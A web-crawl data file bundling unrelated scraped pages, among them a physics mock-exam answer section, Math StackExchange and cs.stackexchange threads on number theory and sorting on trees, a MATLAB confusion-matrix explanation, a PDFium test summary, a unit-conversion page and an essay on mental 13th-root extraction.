"1. State and explain what is observed on the galvanometer when the switch is closed. (2 marks)\nThe galvanometer shows a deflection in one direction and then returns to zero mark\nClosing switch causes a change in the magnetic flux in the primary coil which links with secondary coil, inducing an e.m.f and current in secondary coil. Both e.m.f and current lasts for only a short time because as long as the switch is closed, the magnetic flux in primary coil remains constant.\n2. State what is observed on the galvanometer when the switch is opened. (1 mark)\nThe pointer will deflect in the opposite direction and then returns to zero mark\n3. State what would be observed if the number of turns of coil B is doubled. (1 mark)\nThe pointer will deflect more\n3. A transformer with 2000 turns in the primary circuit and 150 turns in the secondary circuit has a primary circuit connected to a 800V ac source. It is found that when a heater is connected to the secondary circuit, it produces heat at the rate of 1000w. Assuming 90% efficiency, determine the;\n1. Voltage in the secondary circuit. (2 marks)",
null,
"s =s = Vs =150 x 800 = 60v\nVP NP 2000\n2. the current in the primary circuit. (2 marks)\nPr=1000 = 1111.1 W\n0.9 0.9\nIp =111.1 = 1.389 A\n800\nAlternative method\nn = Po\nP\n90 =IsVs\nIpVp\n0.9 = 1000\n0.9 x 800\n0.9 = 1000\nIp x 800\nIp = 1000\n0.9 x 800\n=1.389A\n3. Current in the secondary circuit (1 mark)\nPo =IsVs\n1000 = Is x 60\nIs =1000 = 16.67A\n60\n4. A cell drives a current of 5A through a 1.6Ω resistor. When connected to a 2.8Ω resistor, the current that flows is 3.2A. Determine the e.m.f. (E) and internal resistance (r) of the cell. (4 marks)\nE = I(R + r)\nE = 5(1.6 + r)\nE = 3.2(2.8 + r )\n5(1.6 + r) = 3.2(2.8 + r)\n8 + 5r = 8.9 + 3.2r\n1.8r = .96\nr = 0.96/1.8 = 0.533Ω\nE = 5(1.6 + 0.533)\n= 5(2.133)\n= 10.67V\n5.\n1. State how each of the following can be increased in an x-ray tube.\n1. Intensity of x-rays. (1 mark)\nIncreasing the heating current\n2. penetrating power of x-rays. (1 mark)\nIncreasing the anode coltage/ increasing speed of the electrons\n2. An x-ray tube has an electron beam current of 10mA and is accelerated through a p.d of 60KV. The efficiency is 0.5%. Calculate;\n1. the input power (2 marks)\nP = Ir = 10 x 10-3 x 60 x 103 = 600W\n2. the quantity of heat produced per second. (1 mark)\nH =99.5 = 597W\n100\n3. the number of electrons hitting the target per second. (2 marks)\nn =It =10 x 10-3 x 1 = 6.25 x 1016 electrons\ne e 1.6 x 10-19\n3. The fig. below shows an a.c. signal on the C.R.O screen.",
null,
"Determine:\n1. The frequency of the signal given that the time base is set at 10ms/div. (2 marks)\nf2 = = 1 100 = 2.5HZ\nT 4 x 10 x 10-3 4\n2. The peak voltage of the signal given that the y-gain is set at 50v/div (2 marks)\nV0 3 x 50 = 150 V\n\n#### Download Physics Paper 2 Questions and Answers - Kassu Joint Mock Examination 2021.\n\n• ✔ To read offline at any time.\n• ✔ To Print at your convenience\n• ✔ Share Easily with Friends / Students\n\nRead 5453 times Last modified on Thursday, 04 November 2021 11:29\n.\nSubscribe now\n\naccess all the content at an affordable rate\nor\nBuy any individual paper or notes as a pdf via MPESA\nand get it sent to you via WhatsApp"
] | [
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https://math.stackexchange.com/questions/3239216/let-m-n-in-mathbbz-and-px-x3mxn-be-such-that-if-107-mid-px-py-i | [
"Let $m,n\\in \\mathbb{Z}$ and $p(x)=x^3+mx+n$ be such that if $107\\mid p(x)-p(y)\\implies 107\\mid x-y$. Prove that $107\\mid m$.\n\nLet $$m,n\\in \\mathbb{Z}$$ and $$p(x)=x^3+mx+n$$ be such that for an integers $$x,y$$ we have: $$107\\mid p(x)-p(y)\\implies 107\\mid x-y$$ Prove that $$107\\mid m$$.\n\nI'm not sure what to do here. I can only deduce that $$107\\nmid x^2+xy+y^2+m$$\n\nand since $$x\\equiv y \\pmod {107}$$ $$107\\nmid 3x^2+m$$ Suppose $$107\\nmid m$$ then expressing this with Legendre symbol we have $$\\Big({-3m\\over 107}\\Big)=-1$$ Any sugestion?\n\n$$p(x)-p(y)=x^3-y^3+m(x-y)=(x-y)(x^2 + xy + y^2+m)$$\n\nThe condition is $$x^2+xy+y^2 +m \\not \\equiv 0 \\pmod{107}, \\quad when \\quad x\\not\\equiv y \\pmod{107}$$\n\nSetting $$y=0$$ we get $$x^2 + m \\not \\equiv 0 \\quad when \\quad x\\not\\equiv 0$$\n\nSince $$-1$$ is quadratic nonresidue modulo 107 (because $$(-1)^{53}\\equiv -1$$), we have that $$m \\text{ is quadratic residue modulo 107}$$\n\nLet $$m\\equiv a^2 \\not \\equiv 0 \\pmod{107}$$\n\nNote Below I will write $$\\frac{1}{y}$$ to mean some integer number such that $$y\\cdot \\frac{1}{y}\\equiv 1 \\pmod{107}$$. Such a number exists iff $$y\\not\\equiv 0$$. And $$\\frac{x}{y}$$ means $$x\\cdot \\frac{1}{y}$$.\n\nRewrite the condition in the form $$x^2 + xy+ y^2 \\not\\equiv-a^2$$ $$\\forall b\\not\\equiv 0 \\quad (\\frac{x}{y})^2 + \\frac{x}{y} +1 \\not\\equiv -b^2$$ $$\\forall b\\not\\equiv 0 \\quad \\lambda ^2 + \\lambda + 1 \\not \\equiv -b^2$$\n\nPlugging in $$\\lambda=2$$ yields $$7$$, which is a quadratic non residue modulo 107.\n\nThat means that $$2^2 + 2 +1 \\equiv -b^2$$ for some $$b$$, multiply that by $$\\frac{a^2}{b^2}$$ to get $$\\frac{\\lambda^2 a^2}{b^2} + \\lambda \\frac{a^2}{b^2} + \\frac{a^2}{b^2} \\equiv -a^2$$ that is $$(\\frac{\\lambda a}{b})^2 + \\frac{\\lambda a}{b} \\frac{a}{b} + (\\frac{a}{b})^2 \\equiv -a^2$$ since $$\\lambda = 2 \\not \\equiv 1$$, we have a pair $$x=\\frac{2 a}{b}$$ and $$y=\\frac{a}{b}$$ contradicting the condition.\n\n• @MariaMazur $x^2 = -m$ has no solutions. $-1$ is a quadratic nonresidue. If m was a q. nonresidue, then there would be solutions. (Because q. nonresidue times q. nonresidue is a q. residue, that is a well-known fact) – liaombro May 25 at 15:50\n\nI think people are getting confused on the if-then here. I will restate the problem:\n\nProblem 1 [restated] Let $$p(x) = x^3+mx$$ such that $$107 \\not | m$$. Then prove or disprove the following: There exists an $$x,y$$ such that both conditions $$x \\not \\equiv_{107} y$$ and $$p(x)-p(y) \\equiv_{107} 0$$ simultaneously hold.\n\nSo now we solve Problem 1 by proving the above statement.\n\nCase 1: $$-m$$ a nonzero square mod 107. Let us first pick $$y$$ to be a multiple of 107. Then it suffices to show that $$-m$$ a nonzero square modulo 107 implies the existence of at least one nonegative integer $$a < 107$$ s.t. $$p(y)-p(y-a)$$ is a multiple of 107. However:\n\n$$p(y)-p(x) = (y-x)(x^2+xy+y^2) + (y-x)m \\equiv_{107} a(a^2) +am$$\n\nso as long as $$-m$$ is a nonzero square modulo 107 there indeed exists such an $$a$$; namely $$a$$ satisfying $$a^2=-m$$. Thus, as long as $$y \\equiv_{107} 0$$ and $$x=ka$$, it will follow that $$m|p(y)-p(x)$$. Then $$p(y)-p(x)$$; $$y \\equiv_{107} 0$$ and $$x \\equiv_{107} -a$$; $$a$$ as specified, will satisfy $$107|p(y)-p(x)$$ but $$107 \\not | y-x$$\n\nCase 2: $$-m$$ a nonzero nonsquare mod 107. Now let us pick $$y \\equiv_{107} a$$ [for some positive integer $$a$$ less than 107] and $$x \\equiv_{107} ka$$ for some $$k \\not = 1$$ such that (A) $$1+k+k^2$$ is a nonzero non-square mod 107. [As in, we first set $$k \\not =1$$ to meet (A) and then we find $$a$$ after. We show below the existence of such a $$k$$ [Claim 2].] So let us now assume the existence of such a $$k$$. Then:\n\n$$p(y)-p(x) = (y-x)(x^2+xy+y^2) + (y-x)m \\equiv_{107} (y-x)(1+k+k^2)(a^2) +(y-x)m$$\n\nThen as $$(1+k+k^2)$$ is a nonzero nonsquare then for any nonzero nonsquare $$-m$$ there is a nonzero $$a$$ such that $$(1_k+k^2)a^2+m \\equiv_{107} 0$$. Then $$p(y)-p(x)$$; $$y \\equiv_{107} a$$ and $$x \\equiv_{107} ka$$; $$k$$ and $$a$$ as specified, will satisfy $$107|p(y)-p(x)$$ but $$107 \\not | y-x$$.\n\nAs $$-m$$ is either a nonzero square or nonsquare mod 107, the above gives a proof for Problem 1, modulo Claim 2 below.\n\nClaim 2: There exists a $$k \\not = 1$$ s.t. $$q(k) \\doteq 1+k+k^2$$ is a nonsquare mod 107.\n\nNote that $$q(-5) = 21$$ and 21 is a nonsquare mod 107.\n\nSuppose $$107\\nmid m$$.\n\nLet $$d=x-y$$, then for all $$y$$ and $$d$$ we have:\n\nif $$107\\nmid d$$ then $$107\\nmid d^2+3dy+3y^2+m$$\n\nSo:\n\n• if we put $$y= -d$$ we get $$107\\nmid d^2+m\\implies \\Big({-m\\over 107}\\Big) =-1$$\n• if we put $$y= d$$ we get $$107\\nmid 7d^2+m\\implies \\Big({-7m\\over 107}\\Big) =-1$$\n\nThus $$-1=\\Big({-7m\\over 107}\\Big) =\\Big({7\\over 107}\\Big)\\Big({-m\\over 107}\\Big) =-\\Big({7\\over 107}\\Big)$$\n\nso $$\\Big({7\\over 107}\\Big) =1$$\n\nThus, by quadratic reciprocity we have: $$\\Big({107\\over 7}\\Big)=(-1)^{{107-1\\over 2}{7-1\\over 2}}=-1$$ But $$107 \\equiv 9 =3^2 \\pmod 7$$ A contradiction.\n\n• I'm not sure if this is now OK. Would you please check? @Mike – Aqua May 26 at 12:43\n• Looks perfectly fine – liaombro May 26 at 13:03\n\nGiven $$A \\Rightarrow B \\iff \\overline{B} \\Rightarrow \\overline{A}$$, we are looking for $$107 \\nmid x-y \\Rightarrow 107 \\nmid p(x)-p(y)$$ or $$107 \\nmid x^2+xy+y^2+m$$ because $$p(x)-p(y)=(x-y)(x^2+xy+y^2+m)$$. Given $$x=107k_1+r_1, 0\\leq r_1 < 107$$ $$y=107k_2+r_2, 0\\leq r_2 < 107$$ then $$x^2+xy+y^2+m=107Q+r_1^2+r_1r_2+r_2^2+m$$ Obviously $$r_1$$ and $$r_2$$ can't be $$0$$ at the same time (because of $$107 \\nmid x-y$$). Easy to check with a Python code (run here)\n\narr = []\nfor r1 in range(0, 107):\nfor r2 in range(0, 107):\nif (r1!=0 or r2!=0):\nrest = (r1*r1 + r1*r2 + r2*r2) % 107\narr.append(rest)\n\nsorted(arr)\nprint set(arr)\n\n\nthat $$(r_1^2+r_1r_2+r_2^2) \\pmod{107}$$ gives all values from $$1$$ to $$106$$ (never $$0$$) as possible remainders.\n\nAs a result, if we assume $$107 \\nmid m$$ or $$m=107k_3+r_3, 0, there will be a pair $$x,y$$ such that $$(r_1^2+r_1r_2+r_2^2) \\pmod{107} = 107-r_3$$ or $$107 \\mid x^2+xy+y^2+m$$ contradiction. So $$m$$ has to be divisible by $$107$$.\n\n• here's a counterexample for your claim about m=1 : take x=19, y=3. $$19^2 + 19\\cdot 3+3^2 + 1=428$$ So, $107| p(19)-p(3)$, but $107 \\nmid (19-3)$ – liaombro May 25 at 16:12\n• You claim that for m=1 $p(x)=x^3 + x$ is an example of such function that $107∣p(x)−p(y)⇒107∣x−y$. That is wrong. – liaombro May 25 at 16:17\n• But you wrote \"Thus m=1 is a counter-example\". If it's not, how do you support that statement \"... doesn't require ...\"? – liaombro May 25 at 16:25\n• @rtybase good effort. But I think people are getting confused on the if-then. I know it tripped me up. If you were looking for a counterexample, you need to find a polynomial $p(x)$ of the form $p(x)=x^3+mx$ for some $m$ satisfying $107 \\not | m$; such that for every $x,y$ integers: If $x \\not \\equiv_{107} y$ then $p(x) \\not \\equiv_{107} p(y)$. But for $p(x) = x^3+x$ note that $p(19) \\equiv_{107} p(3)$ – Mike May 25 at 16:42\n• @rtybase indeed it is. But you are asked to find the values of $m$ such that (X) input $107 | p(x) - p(y) \\Rightarrow 107|x-y$ is true. Or more precisely, show that the only values of $m$ that satisfy (X) are a multiple of 107, OR find an $m$ that is not a multiple of 107 yet satisfies (X) anyway – Mike May 25 at 16:53"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.74361354,"math_prob":1.0000097,"size":2069,"snap":"2019-26-2019-30","text_gpt3_token_len":763,"char_repetition_ratio":0.15690073,"word_repetition_ratio":0.06077348,"special_character_ratio":0.41227648,"punctuation_ratio":0.08669355,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000098,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-06-27T04:24:59Z\",\"WARC-Record-ID\":\"<urn:uuid:9ebc92f2-6835-41df-9506-9918c37cbba5>\",\"Content-Length\":\"176119\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c4298f6c-8530-4b9d-966d-cff37ac5260b>\",\"WARC-Concurrent-To\":\"<urn:uuid:e5556562-5349-45fd-83dc-147a683dac93>\",\"WARC-IP-Address\":\"151.101.193.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/3239216/let-m-n-in-mathbbz-and-px-x3mxn-be-such-that-if-107-mid-px-py-i\",\"WARC-Payload-Digest\":\"sha1:D6TEKAKDZMQG2OCXWRDXKA54ISQQHF4D\",\"WARC-Block-Digest\":\"sha1:5UQ4XEBZ5LKILX3TPUHIXC4VJ4SBW6TQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-26/CC-MAIN-2019-26_segments_1560628000613.45_warc_CC-MAIN-20190627035307-20190627061307-00178.warc.gz\"}"} |
https://fr.mathworks.com/matlabcentral/answers/74802-confusion-matrix-neural-network?s_tid=prof_contriblnk | [
"# Confusion matrix neural network\n\n1 view (last 30 days)\nJohn on 6 May 2013\nCommented: Vikas on 10 Mar 2016\nHello,\nThe confusion matrix for my NN for classification is below. I'm struggling to understand the numbers. I know the overall correctly classified data is 81.5%.\nI would be grateful if somebody had the time to answer a couple of questions.\nIf I take the 1st row as an example.\nWhat does 22.2% represent?\nWhat does 4 and 14.8% represent?\nWhat does 60.0% (in green) represent?\nWhat does the bottom grey row represent for example 85.7%?",
null,
"Greg Heath on 7 May 2013\nLook at column one for class 1 targets\nThere were 7 class 1 targets\n6 were assigned correctly(GREEN) to output class 1\n1 was assigned incorrectly (RED) to output class 2\n0 were assigned to output class 3 (Ignore colors for 0 entries)\n100*6/7 = 85.7% (GREEN)of class 1 targets were correctly assigned\n100*1/7 = 14.3% (RED) of class 1 targets were incorrectly assigned\nLook at row two for targets assigned to class 2\n17 targets were assigned to output class 2\n1 target from class 1 was incorrectly(RED) assigned to class 2\n16 targets from class 2 were correctly(GREEN) assigned to class2\n100*16/17 = 94.1%(GREEN) of assignments to class 2 were correct\n100*1/17 = 5.9%(RED) of assignments to class 2 were incorrect\nLook at interior square percentages\nThere were 6+1+16+4 = 27 targets\n100*6/27 = 22.2%\n100*1/27 = 3.7%\n100*16/27 = 59.3%\n100*4/27 = 14.8%\nIf it makes you feel any better, I do not like the format (e.g., I used to use the rows for target classes). However, using the column target format, I use a count confusion matrix and a percent confusion matrix:\n6 0 4 10\n1 16 0 17\n7 16 4 27\nand\n85.7 0 100 37\n14.3 100 0 63\n100 100 100 100\nHope this helps.\nThank you for formally accepting my answer\nGreg\n\nD C on 21 Oct 2013\nEdited: D C on 21 Oct 2013\nIs there any way to display this values in workspace? I got 10 classes and I cannot read them from the diagram because they overlap.\nVikas on 10 Mar 2016\n[c,cm,ind,per] = confusion(targets,outputs)"
] | [
null,
"https://www.mathworks.com/matlabcentral/images/broken_image.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.93004894,"math_prob":0.6774062,"size":2233,"snap":"2022-40-2023-06","text_gpt3_token_len":653,"char_repetition_ratio":0.14356214,"word_repetition_ratio":0.024813896,"special_character_ratio":0.32019705,"punctuation_ratio":0.083333336,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95947003,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-02-02T18:25:41Z\",\"WARC-Record-ID\":\"<urn:uuid:becef46e-14bf-44ad-aef5-249c271f9097>\",\"Content-Length\":\"139796\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:63b3127f-c7f8-48f4-af04-5c55191f8011>\",\"WARC-Concurrent-To\":\"<urn:uuid:69d238bb-a275-4da1-9ad0-e044e9add1d2>\",\"WARC-IP-Address\":\"23.1.9.244\",\"WARC-Target-URI\":\"https://fr.mathworks.com/matlabcentral/answers/74802-confusion-matrix-neural-network?s_tid=prof_contriblnk\",\"WARC-Payload-Digest\":\"sha1:M4ZHL2UOYI5675IB5R7HJLSYXMEMQ43H\",\"WARC-Block-Digest\":\"sha1:Y6GKMPXWONUBIPLEUCOAPTPDVWXUKI2L\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764500035.14_warc_CC-MAIN-20230202165041-20230202195041-00317.warc.gz\"}"} |
https://pdfium.googlesource.com/pdfium_tests/+/9e498153beac2f360543c52210c16012e002faa9/xfa/fx/test_case_0009/test_summary.txt | [
"blob: f1e88524f13a4d03064653d0831b368e67f54a79 [file] [log] [blame]\n -Test process 1. Test program generates png images for all the pdf pages -Pass condition 1. The test program verifies the first output image equals the first input test image in every pixel AND 2. The test program verifies the second output image equals the second input test image in every pixel AND 3. The test program verifies the third output image equals the third input test image in every pixel AND 4. The test program verifies the forth output image equals the forth input test image in every pixel AND 5. The test program verifies the fifth output image equals the fifth input test image in every pixel -Test purpose 1. FormCalc language defines XFA templates. the XFA templates determines the order of page output. The output logic is implemented by Adobe FormCalc script(described in Adobe FormCalc User Reference). This test aims to test Pdfium core’s correct interpretation of FormCalc script."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.63693255,"math_prob":0.9091481,"size":920,"snap":"2023-40-2023-50","text_gpt3_token_len":200,"char_repetition_ratio":0.19104804,"word_repetition_ratio":0.12837838,"special_character_ratio":0.20543478,"punctuation_ratio":0.06666667,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95574886,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-10-03T14:09:28Z\",\"WARC-Record-ID\":\"<urn:uuid:56df8f74-7cfc-4fd8-b33c-0e5f1bca86de>\",\"Content-Length\":\"9992\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:eb40a220-a65f-41e4-965b-ada309b53e3e>\",\"WARC-Concurrent-To\":\"<urn:uuid:940949ff-4c15-471c-ae41-1139ab048976>\",\"WARC-IP-Address\":\"142.251.163.82\",\"WARC-Target-URI\":\"https://pdfium.googlesource.com/pdfium_tests/+/9e498153beac2f360543c52210c16012e002faa9/xfa/fx/test_case_0009/test_summary.txt\",\"WARC-Payload-Digest\":\"sha1:3ZQK7QS7RL3J4SQ2GHWYN7UL4N7VVA5F\",\"WARC-Block-Digest\":\"sha1:6BUBJK5S6UCCK6WPPGVCPW2ULIUY324O\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233511106.1_warc_CC-MAIN-20231003124522-20231003154522-00342.warc.gz\"}"} |
https://cs.stackexchange.com/questions/83078/is-there-a-polynomial-algorithm-for-optimal-sorting-on-trees | [
"# Is there a polynomial algorithm for optimal sorting on trees?\n\nThere's the classical problem of sorting numbers in a list with the restriction that you can only swap two neighbouring numbers. It's easy to see that getting an optimal number of needed swaps can be achieved by insertion sort or bubble sort.\n\nWe can generalize this problem by changing the underlying structure from a list to a graph. Instead of swapping neighbouring numbers in a list we would be swapping numbers connected by an edge. Formally let's have a graph G=(V, E) with V = {1, ..., N} and an assignment of values f: V -> {1, ..., N} where f is a bijection/permutation. In order to do a swap we select an edge {u, v} from E and switch f(u) with f(v). Our goal is to sort f (that is achieve a state when f is the identity) in the least number of swaps. My question is whether there is a (polynomial) algorithm for this.\n\nSince working on general graphs seems really difficult from what I've tried let's restrict ourselves to G being a tree. This should be a simpler question because each number has a clear path to its target.\n\nSome observations:\n\nWhen G is a path graph the problem is the same as sorting a list which is simple.\n\nWhen G is a complete graph the problem is also simple since we only need to decompose each cycle into transpositions. You can actually look at the general problem as decomposing a permutation into as few transpositions as possible with the restriction of which transpositions you are allowed to use.\n\nAs long as the graph is connected there's a lower bound of \"sum of all distances to targets\"/2 because each swap decreases the distance to target of at most two numbers. The upper bound is \"sum of all distances to targets\" because we can select a number that wants to be in a non-articulation vertex (or simply leaf in trees) and drag it there. Then we can forget about this vertex and reduce the problem to a smaller graph.\n\n• Basically you want to swap the minimum number of edges to go from one graph to another, is that right? – klaus Oct 27 '17 at 14:02\n• Yes, that's another way to look at it - you have two isomorphic graphs with different labeling by the set {1, ..., n} and you want to find the shortest sequence of swaps to get from one graph to the other. (By swapping here I mean swapping labels on the vertices of an edge.) – Pavel Madaj Oct 27 '17 at 14:08"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9624622,"math_prob":0.9792592,"size":1859,"snap":"2021-21-2021-25","text_gpt3_token_len":405,"char_repetition_ratio":0.107277624,"word_repetition_ratio":0.005934718,"special_character_ratio":0.21947284,"punctuation_ratio":0.08042896,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9971971,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-05-08T21:37:54Z\",\"WARC-Record-ID\":\"<urn:uuid:cc1c342d-3f43-4d0f-98ba-68f6b52d2ebd>\",\"Content-Length\":\"167164\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:711315a6-3b4a-4f75-bad6-37d82f132c73>\",\"WARC-Concurrent-To\":\"<urn:uuid:6ffcc02f-82b1-4495-8cb6-4422f2b44dc3>\",\"WARC-IP-Address\":\"151.101.193.69\",\"WARC-Target-URI\":\"https://cs.stackexchange.com/questions/83078/is-there-a-polynomial-algorithm-for-optimal-sorting-on-trees\",\"WARC-Payload-Digest\":\"sha1:YMXTR3NAUKB45NGBPLELRE7RVQ2EROL3\",\"WARC-Block-Digest\":\"sha1:DOH53H2MC27XEEOCOB42BZ7HDNADI2Z5\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-21/CC-MAIN-2021-21_segments_1620243988927.95_warc_CC-MAIN-20210508211857-20210509001857-00280.warc.gz\"}"} |
https://convertoctopus.com/752-milliliters-to-tablespoons | [
"Conversion formula\n\nThe conversion factor from milliliters to tablespoons is 0.06762804511761, which means that 1 milliliter is equal to 0.06762804511761 tablespoons:\n\n1 ml = 0.06762804511761 tbsp\n\nTo convert 752 milliliters into tablespoons we have to multiply 752 by the conversion factor in order to get the volume amount from milliliters to tablespoons. We can also form a simple proportion to calculate the result:\n\n1 ml → 0.06762804511761 tbsp\n\n752 ml → V(tbsp)\n\nSolve the above proportion to obtain the volume V in tablespoons:\n\nV(tbsp) = 752 ml × 0.06762804511761 tbsp\n\nV(tbsp) = 50.856289928443 tbsp\n\nThe final result is:\n\n752 ml → 50.856289928443 tbsp\n\nWe conclude that 752 milliliters is equivalent to 50.856289928443 tablespoons:\n\n752 milliliters = 50.856289928443 tablespoons\n\nAlternative conversion\n\nWe can also convert by utilizing the inverse value of the conversion factor. In this case 1 tablespoon is equal to 0.019663251122074 × 752 milliliters.\n\nAnother way is saying that 752 milliliters is equal to 1 ÷ 0.019663251122074 tablespoons.\n\nApproximate result\n\nFor practical purposes we can round our final result to an approximate numerical value. We can say that seven hundred fifty-two milliliters is approximately fifty point eight five six tablespoons:\n\n752 ml ≅ 50.856 tbsp\n\nAn alternative is also that one tablespoon is approximately zero point zero two times seven hundred fifty-two milliliters.\n\nConversion table\n\nmilliliters to tablespoons chart\n\nFor quick reference purposes, below is the conversion table you can use to convert from milliliters to tablespoons\n\nmilliliters (ml) tablespoons (tbsp)\n753 milliliters 50.924 tablespoons\n754 milliliters 50.992 tablespoons\n755 milliliters 51.059 tablespoons\n756 milliliters 51.127 tablespoons\n757 milliliters 51.194 tablespoons\n758 milliliters 51.262 tablespoons\n759 milliliters 51.33 tablespoons\n760 milliliters 51.397 tablespoons\n761 milliliters 51.465 tablespoons\n762 milliliters 51.533 tablespoons"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.72308135,"math_prob":0.95620173,"size":1988,"snap":"2022-05-2022-21","text_gpt3_token_len":507,"char_repetition_ratio":0.25705644,"word_repetition_ratio":0.0,"special_character_ratio":0.32444668,"punctuation_ratio":0.10714286,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.994181,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-01-26T20:58:36Z\",\"WARC-Record-ID\":\"<urn:uuid:48641a84-5eb4-463b-827f-1d9d7e2760e0>\",\"Content-Length\":\"30987\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:bc110093-ac71-4b50-915f-75ff3fd8bc4d>\",\"WARC-Concurrent-To\":\"<urn:uuid:406faf56-2dd9-496d-bdcc-31f4cd668fa9>\",\"WARC-IP-Address\":\"172.67.155.243\",\"WARC-Target-URI\":\"https://convertoctopus.com/752-milliliters-to-tablespoons\",\"WARC-Payload-Digest\":\"sha1:VDBKQWXA3E6L2JX3CYKL4PTSEPX3SNKN\",\"WARC-Block-Digest\":\"sha1:KJDTOO73UNZA7JFVWSHHQUTNLCIKOUPT\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-05/CC-MAIN-2022-05_segments_1642320304961.89_warc_CC-MAIN-20220126192506-20220126222506-00232.warc.gz\"}"} |
https://mathzsolution.com/what-are-the-393393-trillion-possible-answers-when-computing-13th13th-root-of-a-number/ | [
"# What are the 393393 trillion possible answers when computing 13th13^{th} root of a number?\n\nAlexis Lemaire got famous after finding the 13th root of a computer-generated 200-digit number without calculator. In this article, they say that there are “with 393 trillion possible answers to choose from”. At first, I thought that it was the number of permutations of digits for each possible answer, but this wouldn’t give the $393$ trillion, I guess. Does it actually mean anything or is it just a misunderstanding on the part of the journalists?\n\nWe have to compute the $13$-th root of an unknown number $N$ such that $10^{199}\\le N<10^{200}$ so that $\\;10^{199/13}\\le N^{1/13}<10^{200/13}$ : all the choices are not possible but only the values from $2,030,917,620,904,736\\;$ to $\\;2,424,462,017,082,328$. This gives at most :\n\nFor something 'simpler' suppose known the $60000$ digits of the perfect power $\\;N=k^{11001}\\;$ and try to find the positive integer $k$. You'll notice that $k$ can only take the values from $284420$ to $284478$.\n\nRemembering the two last digits of the $11001$-th powers of $\\;(284420+i)\\;$ for $i$ from $0$ to $58$ :\nshould help you, after just a smart glance at the $60000$ digits of the $11001$-th power, to provide instantly the wished $11001$-th root !\n\nBut to choose between $59$ values we don't really need to memorize all these values (nor even require $N$ to be a perfect power). Mental calculators usually know their common logarithms and may use :\n\nthis is easily obtained from $\\;N^{1/11001}\\approx 10^{\\large{\\frac{60000-1}{11001}+\\frac{\\log_{10}(N_2)}{11001}}}\\approx 10^{\\large{\\frac{60000-1}{11001}}}\\left(1+\\frac{\\ln(10)}{11001}\\log_{10}(N_2)\\right)$.\nA working precision of $2$ digits for $N_2$ should be enough while replacing $59.53$ by $60$ gives an error bounded by $\\,0.48$.\n\nWe may thus \"reduce the possibilities\" by using the most significant digits and, for a perfect power only, by exploiting the less significant ones (as explained by Barry Cipra).\nIt should be clear that all this doesn't explain the speed of A. Lemaire and others who used specific techniques like memorizing the different $13$-th roots possible for the first digits (specifically for $200$ digits numbers) as well as for the last digits.\n\nMany of the methods used are neatly exposed in Ron Doerfler and Miles Forster article :\n\"The $13$-th Root of a $100$-Digit Number\" starting with the methods used by Wim Klein (from Ron Doerfler's blog). Let's conclude with some of his wise words :\n\n“What is the use of extracting the $13$-th root of $100$ digits? ’Must be a bloody idiot,’ you say.\nNo. It puts you in the Guinness Book, of course”"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8797351,"math_prob":0.9978274,"size":2795,"snap":"2022-05-2022-21","text_gpt3_token_len":819,"char_repetition_ratio":0.09745611,"word_repetition_ratio":0.0046838406,"special_character_ratio":0.35527727,"punctuation_ratio":0.17484662,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9989836,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-19T01:47:12Z\",\"WARC-Record-ID\":\"<urn:uuid:d845dd13-8ce0-4247-90ab-67f0717718e4>\",\"Content-Length\":\"86674\",\"Content-Type\":\"application/http; 